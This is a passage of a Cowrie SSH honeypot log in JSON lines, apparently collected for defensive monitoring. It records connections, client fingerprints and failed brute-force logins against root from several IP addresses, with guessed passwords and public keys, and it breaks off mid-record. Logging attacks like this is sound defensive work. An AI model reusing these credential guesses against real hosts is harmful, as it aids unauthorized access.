{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.983775Z","src_ip":"62.173.38.229","session":"07cc37422c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:28.721848Z","src_ip":"62.173.38.229","session":"07cc37422c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:28.760187Z","src_ip":"176.65.148.108","session":"17a1837eac49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:29.960561Z","src_ip":"62.173.38.229","session":"07cc37422c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":19337,"dst_ip":"10.17.0.5","dst_port":22,"session":"55d897781110","protocol":"ssh","message":"New connection: 45.66.52.41:19337 (10.17.0.5:22) [session: 55d897781110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:41.020407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:41.025054Z","src_ip":"45.66.52.41","session":"55d897781110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:41.203673Z","src_ip":"45.66.52.41","session":"55d897781110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9874","message":"login attempt [root/9874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:41.994908Z","src_ip":"45.66.52.41","session":"55d897781110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:43.176399Z","src_ip":"45.66.52.41","session":"55d897781110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":58678,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fff1d3dde0","protocol":"ssh","message":"New connection: 191.241.76.128:58678 (10.17.0.5:22) [session: 17fff1d3dde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:49.570188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:49.574977Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:49.733998Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:83:b9:71:77:3e:aa:b0:37:4d:8b:01:ed:1c:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmukmw8tqjZ/PQjOwbBtgOWr5cywSk5lVTD+nM5q+ze+vq0v4GJZNwj3URg67f4BZnhX7TaztyYLtX2NTSpjG8YgfcyKbf9H+nryS3RxHgm6OWcUeJPgCkfJVQIKweiHCkzirNvDMVzoaBX9SCpQWGONsSQqKpubY5uAPfTYtrOW80n3G1nRknNFLSHO/AUOC1TBUEUPbJZqs27ydA8lwp2bNArLp+tQnpoLlpAeL6C/ivuOmj/m5p3C1o9LLqDXU2axIVVD1260xwbZqKxatqgl+Zz3F7Q+4UVdJQhQbFK4/fhrJUVoucIQvYZvo/XGsJT0Qjr+N7FXw0G+arn2jsX7U+R+frPWvhfNJUVf8Z/IHIWDumQqzubiM3TdVPaOCwGvZKoZkOojqdMA7gnhScvo0T9klGPrcGP9vQeKswpfCTRXYhMOfI0TDWEAGtdx/8UK2oc3hNne2IX5TZ9n5qAtARLZh+vjZNLljAXoloIF3tMXTGbrOKe+ytL9xfFEU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:83:b9:71:77:3e:aa:b0:37:4d:8b:01:ed:1c:a7:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.392434Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:83:b9:71:77:3e:aa:b0:37:4d:8b:01:ed:1c:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmukmw8tqjZ/PQjOwbBtgOWr5cywSk5lVTD+nM5q+ze+vq0v4GJZNwj3URg67f4BZnhX7TaztyYLtX2NTSpjG8YgfcyKbf9H+nryS3RxHgm6OWcUeJPgCkfJVQIKweiHCkzirNvDMVzoaBX9SCpQWGONsSQqKpubY5uAPfTYtrOW80n3G1nRknNFLSHO/AUOC1TBUEUPbJZqs27ydA8lwp2bNArLp+tQnpoLlpAeL6C/ivuOmj/m5p3C1o9LLqDXU2axIVVD1260xwbZqKxatqgl+Zz3F7Q+4UVdJQhQbFK4/fhrJUVoucIQvYZvo/XGsJT0Qjr+N7FXw0G+arn2jsX7U+R+frPWvhfNJUVf8Z/IHIWDumQqzubiM3TdVPaOCwGvZKoZkOojqdMA7gnhScvo0T9klGPrcGP9vQeKswpfCTRXYhMOfI0TDWEAGtdx/8UK2oc3hNne2IX5TZ9n5qAtARLZh+vjZNLljAXoloIF3tMXTGbrOKe+ytL9xfFEU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.396549Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:d6:6e:9a:49:bb:3c:89:a6:99:93:eb:d4:3f:1f:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvIrQTHLtzr/SuGFAGIjIiExB4jKJ7xKznPHvS+p4kcccuu4xA5uqnjKjn8e4iG06CoA9r+7JsOFiNoA8/PP0G7DNimsAJqH5BVJQBgXX6zYp/++zzTEb08jWvZucw4UDYadtbQtF9+O75Ffbny0Ft+Su4pCEkqzFamYhBJBymTNMkS38ZlHivREqdOZT+NvLmt133oyS10i3FCBsa0hpP/4LqWWvWj8/a1L45YMKJ5++o78v6etp3gwIfq+xTfbvf1Xq93DMtk7tnlU4pfeD2OR2a+EQ7GeUMK8kBsvCDSMLlvSynowwb2xVEPDGO5aQN5YdkgxBV+22JcTvpjcZ8vXkFRwQhRjDOKY+zBRGoLjSVQ4b03ebX9Mn0A6CCtVEx2GF3gNrIFGx/j6t1rlnMgFQBcgm1+EsrL4VrQKBOmQ8KnQBjbSAWEeQIbD3gqF7CjbdHtexpO670exLglaICPcLrdEvc391Yin+uRkrVO1e0RGlEf9LTEUVZt0LU5AoVtd0WzddLQd0tQ2n4DiNySUifUHi6ygxsji59yRXIZmLJZA8TagI6fq2K7UAtYjiOiVEpPCH3ugnbtmZUfy8A0CWw2XtMquW7iI65hLdCEkw6D2q2r/hH8j9FASRjfC/Uii/iEaXIO0+u1ltmLos2mzu+G6b5abI9Db8u01gnOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:d6:6e:9a:49:bb:3c:89:a6:99:93:eb:d4:3f:1f:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.529920Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:d6:6e:9a:49:bb:3c:89:a6:99:93:eb:d4:3f:1f:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvIrQTHLtzr/SuGFAGIjIiExB4jKJ7xKznPHvS+p4kcccuu4xA5uqnjKjn8e4iG06CoA9r+7JsOFiNoA8/PP0G7DNimsAJqH5BVJQBgXX6zYp/++zzTEb08jWvZucw4UDYadtbQtF9+O75Ffbny0Ft+Su4pCEkqzFamYhBJBymTNMkS38ZlHivREqdOZT+NvLmt133oyS10i3FCBsa0hpP/4LqWWvWj8/a1L45YMKJ5++o78v6etp3gwIfq+xTfbvf1Xq93DMtk7tnlU4pfeD2OR2a+EQ7GeUMK8kBsvCDSMLlvSynowwb2xVEPDGO5aQN5YdkgxBV+22JcTvpjcZ8vXkFRwQhRjDOKY+zBRGoLjSVQ4b03ebX9Mn0A6CCtVEx2GF3gNrIFGx/j6t1rlnMgFQBcgm1+EsrL4VrQKBOmQ8KnQBjbSAWEeQIbD3gqF7CjbdHtexpO670exLglaICPcLrdEvc391Yin+uRkrVO1e0RGlEf9LTEUVZt0LU5AoVtd0WzddLQd0tQ2n4DiNySUifUHi6ygxsji59yRXIZmLJZA8TagI6fq2K7UAtYjiOiVEpPCH3ugnbtmZUfy8A0CWw2XtMquW7iI65hLdCEkw6D2q2r/hH8j9FASRjfC/Uii/iEaXIO0+u1ltmLos2mzu+G6b5abI9Db8u01gnOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.533655Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1vFwxrxkUyYrVqMd22QQ6XMujFNYvYzIfCxY5KaGuduLsG6cVI7F5KheYFU/UEyrwoI/aTEvdXUgPeKrD8Hdn+9uIhmj29QfuFl3mHq+ZV3annRloe0+v4PhkWJegXf28BysqcSLGPO+S0Uqyhd7b+NMBiha+v9vkDoN1+SpSnkC+uJ34XGymBJarhOx/dEptBwSh1r1WLQsU9Fzf/vXzrOTfFvfMelByxAnWLEqiwTg1Hg3sMdY6Cn2r2FZbGp+NjtCW6YSIk6e6lmYNnPSokAwhx96rcslfGT+0lEAV1s0AgqgWnlwLlPy9A/MmgB+7RpJVYfJaXZe3LdI+OEmHrH7Cg9pu+Anu3FOa8cHFpM/DbOy3kxHT0B1jmLgs5nhp4e0i5dAgsh31roj4mFf2WO32VY7dkuHYygtaTwGWGJpXKNpZuVafyS7pPkJs0l+f69JfCHg0kG3Qdl9ZTxNSp/awC+rXJ7GTb2lsLRRgkBMnwOBPyBX6VquFoniNC1yI5DRWDQEBYs73jdHFWbSc+2PR514CWc/poiQ3eje3i+5/FULEyXQqXlXQpUFC/b6Xjwjcsn8PFXu7yQv8GTJociJ45dZIrYYa8zq7EeNzaXdaJwo3bEIZPb5Hs90a1hhsm7JLZsh3giSnnlUzH3BBjLj7oMeyywtpuqwhQxxrFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.666440Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1vFwxrxkUyYrVqMd22QQ6XMujFNYvYzIfCxY5KaGuduLsG6cVI7F5KheYFU/UEyrwoI/aTEvdXUgPeKrD8Hdn+9uIhmj29QfuFl3mHq+ZV3annRloe0+v4PhkWJegXf28BysqcSLGPO+S0Uqyhd7b+NMBiha+v9vkDoN1+SpSnkC+uJ34XGymBJarhOx/dEptBwSh1r1WLQsU9Fzf/vXzrOTfFvfMelByxAnWLEqiwTg1Hg3sMdY6Cn2r2FZbGp+NjtCW6YSIk6e6lmYNnPSokAwhx96rcslfGT+0lEAV1s0AgqgWnlwLlPy9A/MmgB+7RpJVYfJaXZe3LdI+OEmHrH7Cg9pu+Anu3FOa8cHFpM/DbOy3kxHT0B1jmLgs5nhp4e0i5dAgsh31roj4mFf2WO32VY7dkuHYygtaTwGWGJpXKNpZuVafyS7pPkJs0l+f69JfCHg0kG3Qdl9ZTxNSp/awC+rXJ7GTb2lsLRRgkBMnwOBPyBX6VquFoniNC1yI5DRWDQEBYs73jdHFWbSc+2PR514CWc/poiQ3eje3i+5/FULEyXQqXlXQpUFC/b6Xjwjcsn8PFXu7yQv8GTJociJ45dZIrYYa8zq7EeNzaXdaJwo3bEIZPb5Hs90a1hhsm7JLZsh3giSnnlUzH3BBjLj7oMeyywtpuqwhQxxrFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.670033Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:1e:41:09:49:73:ba:9a:76:c5:e3:36:f4:0a:4b:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8CwgRu6py+seGjLrCLLtop7njDTRcuScGrF5N1ikxpw9g+u1lWPLPLWTjhCvfNnma8FoYlkrA6+JE3puq5iZRyqQvVmAm3I3oH8pJhE9+4CX2Ya5/7gziY3pYKvjQ21g4VKZ+oiaEZEr3Zxyu89ATo5FpTUaRZtSnG23Etbz4urU3MgTIYb1Yl3pTASXrLR8Fum9O3nYdxigeD8oMegvlMN3Eu9L1G3USI9/L/VOrSlEqFJ2xV8zlcb9P9hWvTiq0VQk4Up/WeszHO8thz3LIuAae4IdtxsMXQ/bnSO7EMrLw/SoKfGv45aoQlZL6/tLggEU5s8gl/4c5ruQ30GdjVSTFoLplwo/SyWqXBK65Z1yzoBDER3NNQqFr5UM/y1mYNeJrhbVy0Fl9tS9BcWZ/62CmE0L/Hp94zUe3+LhrlgMoh981VoAhSIVH3R7u9Odd0k/pwVvjaB/EXqz111DqnewhlmG5W4GEw0oN5+cu27o70mkoMBDJX0Jjzs7PLG0CFefLPEnbs4LjRNbEWpIvyAzOdexWyB5EOGndVNoOtJO+vhTGunTU0MdDlXahTZM/m/sMY5cHZKm0R7liZWKWziIqYd5ylUNOYUGF0FtOe80CuND+Yta/CDrIuPuo16xNfLTtaI8WcIAlFD5rmuWPT5wuIkUCcOwl5lo5Lawgjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:1e:41:09:49:73:ba:9a:76:c5:e3:36:f4:0a:4b:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.803669Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:1e:41:09:49:73:ba:9a:76:c5:e3:36:f4:0a:4b:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8CwgRu6py+seGjLrCLLtop7njDTRcuScGrF5N1ikxpw9g+u1lWPLPLWTjhCvfNnma8FoYlkrA6+JE3puq5iZRyqQvVmAm3I3oH8pJhE9+4CX2Ya5/7gziY3pYKvjQ21g4VKZ+oiaEZEr3Zxyu89ATo5FpTUaRZtSnG23Etbz4urU3MgTIYb1Yl3pTASXrLR8Fum9O3nYdxigeD8oMegvlMN3Eu9L1G3USI9/L/VOrSlEqFJ2xV8zlcb9P9hWvTiq0VQk4Up/WeszHO8thz3LIuAae4IdtxsMXQ/bnSO7EMrLw/SoKfGv45aoQlZL6/tLggEU5s8gl/4c5ruQ30GdjVSTFoLplwo/SyWqXBK65Z1yzoBDER3NNQqFr5UM/y1mYNeJrhbVy0Fl9tS9BcWZ/62CmE0L/Hp94zUe3+LhrlgMoh981VoAhSIVH3R7u9Odd0k/pwVvjaB/EXqz111DqnewhlmG5W4GEw0oN5+cu27o70mkoMBDJX0Jjzs7PLG0CFefLPEnbs4LjRNbEWpIvyAzOdexWyB5EOGndVNoOtJO+vhTGunTU0MdDlXahTZM/m/sMY5cHZKm0R7liZWKWziIqYd5ylUNOYUGF0FtOe80CuND+Yta/CDrIuPuo16xNfLTtaI8WcIAlFD5rmuWPT5wuIkUCcOwl5lo5Lawgjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.807504Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDabhtWWHvS4uk4C5aOFxnNmJ+ANUWd+E6+aAWWyb/JdDb3ttmGGVXoDp72/xpulUpXEqVA4KZY59jMalQD9sxGhZ0zbH9KL1gxcPjNv0P17bqlNMC4kheNm81U2Bhl8+QiRfx/pfUkpOSEZWRCTkCEdVvcx8xsrbtxj6/pejrK9PZM4goYahR77x8Uz6UNlFC87HmZDlg3ph5ZUPUMXHLri8DjFm3gR+vjRfUIF3OgQiLMOfITAiOH7FassFw2ji9dEW5E+raidGN+PxM7+eJhsYmQsA8JzbCmy5lKyOavGutqAzm81HIUlgNKak4taF4AUp0S3NulBv3GVytd5CHpZ6IIqKTlHr2PZTkXoVu661Q078oXy/AWel/+bIy6Va+Bf1/9KWddsQ3u799omw8CXUJcfxxvGSEM7LLWLV/sSVibypERZGG+wlkT6K10/3vz6MzSAD72+OafylGdKQ0anWbmxc/QrjZX9nP2u4lXdx4J3jTYE2zU8OAHweqASZDTPzA3abWxla+sXup9+Jkugh13rGLQImDM/LK8Bcm4yi8fCkE/cLlLyo78qz4dbbE7G2KDcnynG3u2NitY6RLSjDdqK2xhlfymO45Y3EfUefHgdupsccgKvY0p5jm4zvdAxkq9Lw0Wm5y1xhNE6vMZUXVGnBJ4suffdzmLrEzZAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.943257Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDabhtWWHvS4uk4C5aOFxnNmJ+ANUWd+E6+aAWWyb/JdDb3ttmGGVXoDp72/xpulUpXEqVA4KZY59jMalQD9sxGhZ0zbH9KL1gxcPjNv0P17bqlNMC4kheNm81U2Bhl8+QiRfx/pfUkpOSEZWRCTkCEdVvcx8xsrbtxj6/pejrK9PZM4goYahR77x8Uz6UNlFC87HmZDlg3ph5ZUPUMXHLri8DjFm3gR+vjRfUIF3OgQiLMOfITAiOH7FassFw2ji9dEW5E+raidGN+PxM7+eJhsYmQsA8JzbCmy5lKyOavGutqAzm81HIUlgNKak4taF4AUp0S3NulBv3GVytd5CHpZ6IIqKTlHr2PZTkXoVu661Q078oXy/AWel/+bIy6Va+Bf1/9KWddsQ3u799omw8CXUJcfxxvGSEM7LLWLV/sSVibypERZGG+wlkT6K10/3vz6MzSAD72+OafylGdKQ0anWbmxc/QrjZX9nP2u4lXdx4J3jTYE2zU8OAHweqASZDTPzA3abWxla+sXup9+Jkugh13rGLQImDM/LK8Bcm4yi8fCkE/cLlLyo78qz4dbbE7G2KDcnynG3u2NitY6RLSjDdqK2xhlfymO45Y3EfUefHgdupsccgKvY0p5jm4zvdAxkq9Lw0Wm5y1xhNE6vMZUXVGnBJ4suffdzmLrEzZAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:50.946973Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e7e9cce7a1","protocol":"ssh","message":"New connection: 77.94.47.83:39076 (10.17.0.5:22) [session: 41e7e9cce7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:51.015193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:51.019865Z","src_ip":"77.94.47.83","session":"41e7e9cce7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:51.082062Z","src_ip":"191.241.76.128","session":"17fff1d3dde0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-